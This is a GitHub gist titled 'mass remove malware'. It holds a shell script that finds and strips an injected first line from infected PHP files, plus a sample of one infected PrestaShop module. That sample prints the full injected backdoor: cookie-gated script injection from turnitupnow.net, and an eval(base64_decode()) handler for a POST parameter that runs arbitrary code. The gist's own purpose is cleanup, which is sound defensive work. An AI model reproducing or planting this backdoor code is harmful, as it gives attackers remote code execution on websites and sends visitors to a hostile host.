Created
December 8, 2011 09:26
-
-
Save deanet/1446550 to your computer and use it in GitHub Desktop.
mass remove malware
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@mercury [~/malware/maulana]# cat head.sh | |
#!/bin/sh | |
find /home/paketseo/www/ -exec grep -iH turnitupnow.net {} \; > list.txt | |
cat list.txt | while read line; | |
do | |
b=$(dirname $line); | |
echo $b; | |
mkdir -p ./$b; | |
#backup first | |
#MAKE DIR to current dir | |
#dirfake=$(dirname $line) | |
#mkdir -p ./$dirfake; | |
#make backup | |
cp -a $line ./$line; | |
#remove code | |
## removing first line | |
awk 'NR!=1' ./$line > ./$line.removed; | |
#add php tag | |
echo "<?php" | cat - ./$line.removed > ./$line.fix; | |
#moving original file to tmp | |
mv ./$line ./$line.tmp; | |
#fixing | |
mv ./$line.fix $line; | |
done | |
root@mercury [~/malware/maulana]# | |
in this case, script above just to testing. to practicing just removing dot and slash command on $line parameters | |
use debug please | |
bash -x remove-malware.sh > debug.log 2>&1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} } | |
/* | |
* 2007-2011 PrestaShop | |
* | |
* NOTICE OF LICENSE | |
* | |
* This source file is subject to the Academic Free License (AFL 3.0) | |
* that is bundled with this package in the file LICENSE.txt. | |
* It is also available through the world-wide-web at this URL: | |
* http://opensource.org/licenses/afl-3.0.php | |
* If you did not receive a copy of the license and are unable to | |
* obtain it through the world-wide-web, please send an email | |
* to [email protected] so we can send you a copy immediately. | |
* | |
* DISCLAIMER | |
* | |
* Do not edit or add to this file if you wish to upgrade PrestaShop to newer | |
* versions in the future. If you wish to customize PrestaShop for your | |
* needs please refer to http://www.prestashop.com for more information. | |
* | |
* @author PrestaShop SA <[email protected]> | |
* @copyright 2007-2011 PrestaShop SA | |
* @version Release: $Revision: 8005 $ | |
* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) | |
* International Registered Trademark & Property of PrestaShop SA | |
*/ | |
if (!defined('_PS_VERSION_')) | |
exit; | |
class StatsBestCustomers extends ModuleGrid | |
{ | |
private $_html; | |
private $_query; | |
private $_columns; | |
private $_defaultSortColumn; | |
private $_defaultSortDirection; | |
private $_emptyMessage; | |
private $_pagingMessage; | |
function __construct() | |
{ | |
$this->name = 'statsbestcustomers'; | |
$this->tab = 'analytics_stats'; | |
$this->version = 1.0; | |
$this->author = 'PrestaShop'; | |
$this->need_instance = 0; | |
$this->_defaultSortColumn = 'totalMoneySpent'; | |
$this->_defaultSortDirection = 'DESC'; | |
$this->_emptyMessage = $this->l('Empty recordset returned'); | |
$this->_pagingMessage = $this->l('Displaying').' {0} - {1} '.$this->l('of').' {2}'; | |
$this->_columns = array( | |
array( | |
'id' => 'lastname', | |
'header' => $this->l('Lastname'), | |
'dataIndex' => 'lastname', | |
'width' => 50 | |
), | |
array( | |
'id' => 'firstname', | |
'header' => $this->l('Firstname'), | |
'dataIndex' => 'firstname', | |
'width' => 50 | |
), | |
array( | |
'id' => 'email', | |
'header' => $this->l('Email'), | |
'dataIndex' => 'email', | |
'width' => 120 | |
), | |
array( | |
'id' => 'totalVisits', | |
'header' => $this->l('Visits'), | |
'dataIndex' => 'totalVisits', | |
'width' => 80, | |
'align' => 'right'), | |
array( | |
'id' => 'totalMoneySpent', | |
'header' => $this->l('Money spent'), | |
'dataIndex' => 'totalMoneySpent', | |
'width' => 80, | |
'align' => 'right') | |
); | |
parent::__construct(); | |
$this->displayName = $this->l('Best customers'); | |
$this->description = $this->l('A list of the best customers'); | |
} | |
public function install() | |
{ | |
return (parent::install() AND $this->registerHook('AdminStatsModules')); | |
} | |
public function hookAdminStatsModules($params) | |
{ | |
$engineParams = array( | |
'id' => 'id_customer', | |
'title' => $this->displayName, | |
'columns' => $this->_columns, | |
'defaultSortColumn' => $this->_defaultSortColumn, | |
'defaultSortDirection' => $this->_defaultSortDirection, | |
'emptyMessage' => $this->_emptyMessage, | |
'pagingMessage' => $this->_pagingMessage | |
); | |
if (Tools::getValue('export')) | |
$this->csvExport($engineParams); | |
$this->_html = ' | |
<fieldset class="width3"><legend><img src="../modules/'.$this->name.'/logo.gif" /> '.$this->displayName.'</legend> | |
'.ModuleGrid::engine($engineParams).' | |
<p><a href="'.htmlentities($_SERVER['REQUEST_URI']).'&export=1"><img src="../img/admin/asterisk.gif" />'.$this->l('CSV Export').'</a></p> | |
</fieldset><br /> | |
<fieldset class="width3"><legend><img src="../img/admin/comment.gif" /> '.$this->l('Guide').'</legend> | |
<h2 >'.$this->l('Develop clients\' loyalty').'</h2> | |
<p class="space"> | |
'.$this->l('Keeping a client is more profitable than gaining a new one. Thus, it is necessary to develop their loyalty, in other words to make them want to come back to your webshop.').' <br /> | |
'.$this->l('Word of mouth is also a means to of getting new, satisfied clients; a dissatisfied one won\'t attract new clients.').'<br /> | |
'.$this->l('In order to achieve this goal you can organize: ').' | |
<ul> | |
<li>'.$this->l('Punctual operations: commercial rewards (personalized special offers, product or service offered), non commercial rewards (priority handling of an order or a product), pecuniary rewards (bonds, discount coupons, payback).').'</li> | |
<li>'.$this->l('Sustainable operations: loyalty points or cards, which not only justify communication between merchant and client, but also offer advantages to clients (private offers, discounts).').'</li> | |
</ul> | |
'.$this->l('These operations encourage clients to buy products and visit your webshop regularly.').' <br /> | |
</p><br /> | |
</fieldset>'; | |
return $this->_html; | |
} | |
public function setOption($option) | |
{ | |
} | |
public function getData() | |
{ | |
$this->_query = ' | |
SELECT SQL_CALC_FOUND_ROWS c.`id_customer`, c.`lastname`, c.`firstname`, c.`email`, | |
COUNT(co.`id_connections`) as totalVisits, | |
IFNULL(( | |
SELECT ROUND(SUM(IFNULL(o.`total_paid_real`, 0) / cu.conversion_rate), 2) | |
FROM `'._DB_PREFIX_.'orders` o | |
LEFT JOIN `'._DB_PREFIX_.'currency` cu ON o.id_currency = cu.id_currency | |
WHERE o.id_customer = c.id_customer | |
AND o.invoice_date BETWEEN '.$this->getDate().' | |
AND o.valid | |
), 0) as totalMoneySpent | |
FROM `'._DB_PREFIX_.'customer` c | |
LEFT JOIN `'._DB_PREFIX_.'guest` g ON c.`id_customer` = g.`id_customer` | |
LEFT JOIN `'._DB_PREFIX_.'connections` co ON g.`id_guest` = co.`id_guest` | |
WHERE co.date_add BETWEEN '.$this->getDate().' | |
GROUP BY c.`id_customer`, c.`lastname`, c.`firstname`, c.`email`'; | |
if (Validate::IsName($this->_sort)) | |
{ | |
$this->_query .= ' ORDER BY `'.$this->_sort.'`'; | |
if (isset($this->_direction) AND Validate::IsSortDirection($this->_direction)) | |
$this->_query .= ' '.$this->_direction; | |
} | |
if (($this->_start === 0 OR Validate::IsUnsignedInt($this->_start)) AND Validate::IsUnsignedInt($this->_limit)) | |
$this->_query .= ' LIMIT '.$this->_start.', '.($this->_limit); | |
$this->_values = Db::getInstance(_PS_USE_SQL_SLAVE_)->ExecuteS($this->_query); | |
$this->_totalCount = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT FOUND_ROWS()'); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Guys can you help with this H .P. Junk